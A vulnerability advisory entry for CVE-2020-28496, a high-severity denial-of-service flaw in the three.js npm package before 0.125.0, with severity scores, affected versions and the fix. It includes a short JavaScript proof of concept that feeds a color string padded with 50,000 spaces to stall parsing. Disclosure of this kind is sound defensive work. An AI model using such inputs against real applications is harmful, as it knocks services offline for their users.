CVE-2020-28496
High
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
SeverityHigh
CVSS7.5
Exploit probability—
ProductThree
PublishedFeb 18, 2021
First seenFeb 18, 2021
How to fix
Update
- three_project three0.125.0 or later
- three0.125.0 or later
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| three_project three | v < 0.125.0 | 0.125.0 |
| threenpm | v < 0.125.0 | 0.125.0 |
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